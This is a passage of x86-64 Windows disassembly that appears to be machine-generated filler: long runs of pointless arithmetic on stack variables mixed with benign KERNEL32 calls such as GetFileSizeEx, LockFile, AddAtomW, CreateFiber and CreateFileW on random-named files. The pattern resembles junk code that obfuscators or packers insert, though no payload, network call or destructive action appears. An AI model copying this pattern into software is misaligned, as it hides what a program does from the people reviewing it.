call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa8a8], eax
mov eax, dword [rsp + 0x7758]
mov ecx, dword [rsp + 0x99e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13498]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1088]
movzx ecx, word [rsp + 0x29cc]
sub eax, ecx
mov word [0x140362b7c], ax
lea rax, [rsp + 0x51b]
mov qword [rsp + 0x13868], rax
mov rax, qword [rsp + 0x13438]
mov ecx, dword [rsp + 0xa9dc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x137c0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa964], eax
mov rax, qword [rsp + 0x133a0]
mov rcx, qword [rsp + 0x137e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9d8], eax
lea rcx, str.UfHhGBTWmSx71ufI
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a24], ax
movzx eax, word [rsp + 0x2a1c]
mov word [rsp + 0x2a28], ax
mov r9d, 1
lea r8, [rsp + 0x13268]
mov rdx, qword [rsp + 0x13058]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa8b8], eax
mov rax, qword [rsp + 0x136a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f6]
add eax, ecx
mov rcx, qword [rsp + 0x136a0]
mov byte [rcx], al
lea rax, [rsp + 0x6c3]
mov qword [rsp + 0x13870], rax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
mov rcx, qword [0x1403639e0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13240]
mov word [rcx], ax
mov rax, qword [rsp + 0x133b0]
mov ecx, dword [rsp + 0x75f0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa278], eax
mov eax, dword [rsp + 0x8604]
mov dword [0x140363a70], eax
mov eax, dword [rsp + 0xa9e0]
mov dword [rsp + 0xa9e8], eax
mov eax, dword [rsp + 0xa278]
mov rcx, qword [0x140363978]
mov qword [rsp + 0x13878], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13878]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa894]
mov rcx, qword [rsp + 0x13858]
mov qword [rsp + 0x13880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13880]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9564], eax
movzx eax, word [0x140362b9c]
mov rcx, qword [rsp + 0x13208]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13758]
mov word [rcx], ax
mov rax, qword [rsp + 0x133f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13678]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x256], al
mov rax, qword [rsp + 0x13858]
mov eax, dword [rax]
mov dword [rsp + 0xa9ec], eax
mov eax, dword [rsp + 0xa8ac]
mov ecx, dword [rsp + 0xa988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa990], eax
mov rax, qword [rsp + 0x137d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d60], eax
mov rax, qword [rsp + 0x13610]
mov ecx, dword [rsp + 0x7200]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363998]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13568]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13458]
mov byte [rcx], al
mov rax, qword [rsp + 0x134d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x251c]
sub eax, ecx
mov word [rsp + 0x1e64], ax
mov rax, qword [0x140363a48]
movzx eax, word [rax]
mov word [rsp + 0x2a2c], ax
movsx eax, byte [rsp + 0x6b6]
mov rcx, qword [rsp + 0x132b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x628], al
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0x7118]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6e3c], eax
mov rax, qword [rsp + 0x13730]
mov eax, dword [rax]
mov ecx, dword [0x14035cbe8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7758], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov word [rsp + 0x2a30], ax
mov rax, qword [rsp + 0x13670]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6be]
add eax, ecx
mov byte [rsp + 0x6b5], al
mov eax, dword [rsp + 0xa8cc]
mov dword [0x140363a74], eax
mov rax, qword [rsp + 0x13578]
mov ecx, dword [rsp + 0x7dac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13730]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov dword [rsp + 0xa9f0], eax
mov eax, dword [rsp + 0x6768]
movzx ecx, al
mov eax, dword [rsp + 0xa990]
shl eax, cl
mov dword [rsp + 0xa9c8], eax
lea rax, [rsp + 0x6c0]
mov qword [rsp + 0x13888], rax
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa9f4], eax
mov rax, qword [rsp + 0x132f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x29dc], ax
mov rax, qword [rsp + 0x13578]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa900]
sar eax, cl
mov rcx, qword [rsp + 0x136c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa96c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8134], eax
mov rax, qword [0x140363978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa87c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x965c], eax
mov rax, qword [rsp + 0x13478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8ec]
and ecx, eax
mov eax, ecx
mov dword [0x14035cc08], eax
mov eax, dword [rsp + 0x7200]
mov dword [rsp + 0xa9f8], eax
movsx eax, byte [0x14035e4a7]
mov rcx, qword [rsp + 0x136a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13560]
mov byte [rcx], al
mov rax, qword [rsp + 0x13428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13618]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1868], ax
mov dword [rsp + 0x20], 0x3056
mov r9d, 0xb06
mov r8d, 0x8e1
mov edx, 0x259f
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa9ac], eax
lea rax, [rsp + 0x68e]
mov qword [rsp + 0x13890], rax
movzx eax, word [0x140362bdc]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29c0], ax
lea rax, [rsp + 0x6b80]
mov qword [rsp + 0x13898], rax
mov eax, dword [rsp + 0xa884]
mov ecx, dword [rsp + 0xa900]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13688]
mov dword [rcx], eax
lea rax, [rsp + 0x51b]
mov qword [rsp + 0x138a0], rax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a0]
add eax, ecx
mov word [0x14035cbf4], ax
mov rax, qword [rsp + 0x13738]
mov ecx, dword [rsp + 0xa990]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa938], eax
mov eax, dword [rsp + 0xa928]
mov ecx, dword [0x14035cbdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa90c], eax
lea rax, [rsp + 0xa9e4]
mov qword [rsp + 0x138a8], rax
mov rax, qword [rsp + 0x13640]
mov ecx, dword [0x140363a74]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13690]
mov dword [rcx], eax
lea rax, [rsp + 0x6b4]
mov qword [rsp + 0x138b0], rax
movzx eax, word [rsp + 0x29cc]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x29d0], ax
mov eax, dword [rsp + 0xa998]
movzx ecx, al
mov eax, dword [rsp + 0x7200]
sar eax, cl
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
lea rax, [rsp + 0x8134]
mov qword [rsp + 0x138b8], rax
mov rax, qword [rsp + 0x130e8]
movzx eax, word [rax]
mov word [0x140362bf4], ax
mov rax, qword [rsp + 0x134f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13560]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x6b2], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a8], eax
lea rax, [0x14035cbfc]
mov qword [rsp + 0x138c0], rax
movzx eax, byte [rsp + 0x23b]
movzx ecx, byte [rsp + 0x5fb]
or eax, ecx
mov byte [rsp + 0x23c], al
lea rcx, [rsp + 0x41b68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x134c0]
mov rcx, qword [rsp + 0x135c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa278], eax
lea rax, [rsp + 0xa948]
mov qword [rsp + 0x138c8], rax
mov rax, qword [rsp + 0x136c8]
mov rcx, qword [rsp + 0x136f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13188]
mov dword [rcx], eax
lea rax, [rsp + 0x9e84]
mov qword [rsp + 0x138d0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x31c9
mov r9d, 0x3c6a
mov r8d, 0x1ebdae2f
mov edx, 2
mov rcx, qword [rsp + 0x136c0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa8b8], eax
lea rdx, [rsp + 0x133a8]
mov rcx, qword [rsp + 0x134b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9fc], eax
mov rax, qword [0x1403639d8]
mov ecx, dword [rsp + 0xa9d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13680]
mov dword [rcx], eax
lea rcx, [rsp + 0x41b08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a4]
and eax, ecx
mov word [rsp + 0x19f8], ax
movzx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x13530]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140353573], al
lea rax, [rsp + 0xa970]
mov qword [rsp + 0x138d8], rax
mov eax, dword [rsp + 0xa950]
mov ecx, dword [rsp + 0xa904]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x73a0], eax
mov eax, dword [rsp + 0xa8dc]
mov ecx, dword [rsp + 0xa4c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a08], eax
mov rax, qword [rsp + 0x13898]
mov rcx, qword [rsp + 0x131b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa938], eax
movzx eax, byte [rsp + 0x4bc]
mov byte [rsp + 0x6c4], al
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
movzx ecx, word [0x14035cbe0]
and eax, ecx
mov word [rsp + 0x1088], ax
movsx eax, byte [rsp + 0x6bd]
movsx ecx, byte [rsp + 0x628]
sub eax, ecx
mov byte [rsp + 0x6bf], al
mov rax, qword [rsp + 0x12fb8]
movzx eax, word [rax]
mov word [rsp + 0x2a34], ax
lea rax, [rsp + 0xa78c]
mov qword [0x140363a78], rax
mov eax, dword [rsp + 0xa884]
mov rcx, qword [rsp + 0x13258]
mov qword [rsp + 0x138e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x138e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x765c], eax
lea rax, [rsp + 0x6bc]
mov qword [rsp + 0x138e8], rax
mov rax, qword [rsp + 0x135e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x299c]
sar eax, cl
mov rcx, qword [rsp + 0x134d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13828]
mov rcx, qword [rsp + 0x13090]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13840]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa924], eax
xor r9d, r9d
lea r8, [rsp + 0x12f98]
mov rdx, qword [rsp + 0x133a8]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa00], eax
lea rcx, [rsp + 0x41a18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13668]
mov rcx, qword [rsp + 0x13408]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7a08], eax
mov rax, qword [rsp + 0x137d0]
mov ecx, dword [rsp + 0xa9ec]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa774], eax
lea rax, [rsp + 0xa980]
mov qword [rsp + 0x138f0], rax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13758]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13240]
mov word [rcx], ax
mov rax, qword [rsp + 0x13590]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13740]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140363970]
mov byte [rcx], al
mov rax, qword [rsp + 0x136b0]
mov ecx, dword [rsp + 0xa954]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x64f0], eax
lea rdx, [rsp + 0x138f8]
mov rcx, qword [rsp + 0x13528]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa934], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov eax, dword [rsp + 0x8a08]
mov dword [rsp + 0xaa04], eax
mov rax, qword [rsp + 0x13588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x96e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x138b8]
mov dword [rcx], eax
lea rcx, [rsp + 0x41ad8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa95c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7114], eax
mov rax, qword [rsp + 0x13380]
mov ecx, dword [rsp + 0xa9e4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d94], eax
movzx eax, word [rsp + 0x1868]
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0x13288]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c2]
sub eax, ecx
mov byte [rsp + 0x6b6], al
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x13398]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13420]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6bc]
add eax, ecx
mov byte [0x140353576], al
lea rax, [rsp + 0xa87c]
mov qword [rsp + 0x13900], rax
mov rax, qword [0x140363a68]
mov ecx, dword [rsp + 0xa8d0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa944], eax
mov rax, qword [rsp + 0x138e8]
movzx eax, byte [rax]
mov byte [rsp + 0x6c5], al
movzx eax, word [rsp + 0x29dc]
movzx ecx, word [rsp + 0x29a8]
sar eax, cl
mov rcx, qword [rsp + 0x13838]
mov word [rcx], ax
mov rax, qword [rsp + 0x13538]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140363a1c]
shl eax, cl
mov rcx, qword [rsp + 0x13728]
mov dword [rcx], eax
lea rax, [rsp + 0xa868]
mov qword [rsp + 0x13908], rax
mov rax, qword [rsp + 0x137f8]
mov ecx, dword [0x14035cbe8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x99e4], eax
lea rax, [rsp + 0xa8e8]
mov qword [rsp + 0x13910], rax
movzx eax, word [rsp + 0x29a4]
mov word [0x140362c04], ax
mov rax, qword [rsp + 0x13678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13318]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6bc], al
mov rax, qword [0x140363978]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa990], eax
mov rax, qword [rsp + 0x138d0]
mov ecx, dword [rsp + 0xa9f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7e54], eax
mov rax, qword [rsp + 0x135b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2474]
add eax, ecx
mov word [rsp + 0x29d8], ax
lea rax, [rsp + 0x6bf]
mov qword [rsp + 0x13918], rax
mov rax, qword [rsp + 0x13788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13678]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6be], al
movzx eax, word [rsp + 0x2888]
mov rcx, qword [0x140363a40]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
lea rax, [rsp + 0xa9a4]
mov qword [rsp + 0x13920], rax
mov rax, qword [rsp + 0x13760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9b8]
and ecx, eax
mov eax, ecx
mov dword [0x1403639bc], eax
movzx ecx, word [rsp + 0x29e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29e8], ax
mov rax, qword [rsp + 0x136c8]
mov ecx, dword [rsp + 0xa9f8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13578]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov dword [rsp + 0xaa08], eax
mov rax, qword [rsp + 0x13628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7970]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
lea rax, [0x140353576]
mov qword [rsp + 0x13928], rax
movzx eax, word [rsp + 0x298c]
movzx ecx, word [rsp + 0x1cb4]
shl eax, cl
mov rcx, qword [rsp + 0x13240]
mov word [rcx], ax
mov rax, qword [rsp + 0x136a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x133a0]
mov qword [rsp + 0x13930], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13930]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa904], eax
lea rax, [rsp + 0xa9dc]
mov qword [rsp + 0x13938], rax
mov rax, qword [rsp + 0x13300]
mov rcx, qword [rsp + 0x13270]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13610]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.V7r6igWDw3Z3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13940], rax
mov eax, dword [rsp + 0x8134]
mov ecx, dword [rsp + 0x765c]
and ecx, eax
mov eax, ecx
mov dword [0x140363a70], eax
lea rax, [rsp + 0x29dc]
mov qword [rsp + 0x13948], rax
movzx eax, byte [rsp + 0x6c3]
mov rcx, qword [rsp + 0x13788]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13558]
mov byte [rcx], al
movsx eax, byte [rsp + 0x628]
imul eax, eax, 0x5d
mov byte [rsp + 0x1f6], al
lea rax, [rsp + 0x235c]
mov qword [rsp + 0x13950], rax
mov eax, dword [rsp + 0x9e54]
mov ecx, dword [rsp + 0xa944]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13690]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3d41
mov r9d, 0x3a09
mov r8d, 0xea67adbe
mov edx, 2
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa9fc], eax
xor r9d, r9d
lea r8, [rsp + 0x13958]
mov rdx, qword [rsp + 0x13958]
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa910], eax
mov eax, dword [0x140363a70]
mov ecx, dword [rsp + 0x73a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x81b4], eax
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2994], ax
mov rax, qword [rsp + 0x132c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29dc]
and eax, ecx
mov word [rsp + 0x2a00], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x13568]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb4], al
lea rax, [0x14035cbd8]
mov qword [0x140363a80], rax
lea rax, [rsp + 0x8398]
mov qword [rsp + 0x13960], rax
mov rax, qword [rsp + 0x13828]
mov ecx, dword [rsp + 0xa810]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x138f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa8d0]
mov dword [rsp + 0xaa0c], eax
movzx eax, word [0x14035cbec]
movzx ecx, word [rsp + 0x29f8]
add eax, ecx
mov word [rsp + 0x1778], ax
movzx eax, byte [rsp + 0x6b9]
mov rcx, qword [rsp + 0x13788]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13368]
mov byte [rcx], al
lea rdx, [rsp + 0x45b28]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa10], eax
mov eax, dword [0x14035cbf8]
mov dword [rsp + 0xaa14], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9cc], eax
lea rdx, [rsp + 0x45c40]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa910], eax
mov rax, qword [rsp + 0x133c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13688]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa988]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a24], eax
lea rcx, [0x14032febc]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a20], ax
mov rax, qword [0x140363a00]
mov rcx, qword [rsp + 0x13550]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140363960], eax
mov eax, dword [rsp + 0xa854]
movzx ecx, al
mov eax, dword [rsp + 0x81b4]
sar eax, cl
mov dword [rsp + 0x7dac], eax
mov rax, qword [rsp + 0x130e8]
movzx eax, word [rax]
mov word [rsp + 0x2a3c], ax
mov r9d, 1
lea r8, [rsp + 0x138f8]
mov rdx, qword [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa00], eax
mov rax, qword [rsp + 0x135f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6bf]
cdq
idiv ecx
mov rcx, qword [rsp + 0x13250]
mov byte [rcx], al
mov rax, qword [rsp + 0x137b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13440]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6b7], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.oPNVecO3MtxJiIRBhqoBzY4sRGV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13968], rax
mov rax, qword [rsp + 0x13420]
movzx eax, word [rax]
mov rcx, qword [0x1403639e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a6c], ax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x13690]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13408]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7e54]
mov dword [rsp + 0xaa18], eax
movzx eax, byte [rsp + 0x6b9]
movzx ecx, byte [0x140353573]
add eax, ecx
mov byte [rsp + 0x68e], al
lea rax, [rsp + 0x19f8]
mov qword [0x140363a88], rax
mov eax, dword [rsp + 0xa990]
mov ecx, dword [rsp + 0xa988]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9a4], eax
lea rax, [0x140363a60]
mov qword [rsp + 0x13970], rax
mov eax, dword [rsp + 0x81a0]
mov ecx, dword [rsp + 0xa81c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13588]
mov dword [rcx], eax
lea rax, [rsp + 0xa87c]
mov qword [rsp + 0x13978], rax
movzx eax, byte [rsp + 0x6c0]
movzx ecx, byte [rsp + 0x6c1]
and eax, ecx
mov byte [rsp + 0x6bc], al
mov rax, qword [rsp + 0x13768]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29b4], ax
mov eax, dword [rsp + 0xa928]
mov ecx, dword [rsp + 0xa96c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa724], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x31c9
mov r8d, 0x3c6a
mov edx, 0xc0
mov rcx, qword [rsp + 0x136c0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa8b8], eax
mov eax, dword [rsp + 0xa900]
mov ecx, dword [rsp + 0xa7b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x138f0]
mov dword [rcx], eax
lea rax, [rsp + 0x6bd]
mov qword [0x140363a90], rax
xor r9d, r9d
lea r8, [rsp + 0x133a8]
mov rdx, qword [rsp + 0x13980]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa910], eax
movzx eax, word [rsp + 0x2a28]
mov word [rsp + 0x2a40], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
mov rax, qword [rsp + 0x133f0]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e4a6]
sub eax, ecx
mov rcx, qword [rsp + 0x13590]
mov byte [rcx], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov word [rsp + 0x2a44], ax
mov dword [rsp + 0x20], 0x3056
mov r9d, 0xb06
mov r8d, 0x8e1
mov edx, 0x259f
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa9bc], eax
mov eax, dword [rsp + 0xa78c]
mov ecx, dword [rsp + 0xa2a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e8], eax
mov rax, qword [rsp + 0x13790]
mov rcx, qword [rsp + 0x13710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13738]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa810]
mov ecx, dword [rsp + 0x9e84]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x71c4], eax
mov rax, qword [0x140363a00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x133c8]
mov qword [rsp + 0x13988], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13988]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa98c], eax
mov rax, qword [rsp + 0x135d8]
mov eax, dword [rax]
mov dword [rsp + 0xaa1c], eax
movzx eax, word [rsp + 0x29dc]
movzx ecx, word [rsp + 0x29cc]
sar eax, cl
mov word [rsp + 0x12b8], ax
mov rax, qword [rsp + 0x13870]
movzx eax, byte [rax]
mov byte [0x14035e4d4], al
mov eax, dword [rsp + 0xa954]
mov ecx, dword [0x140363a18]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13320]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.Kps7tbTN_tRZYWf83R
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13990], rax
mov rax, qword [rsp + 0x137d0]
mov ecx, dword [rsp + 0xa7b4]
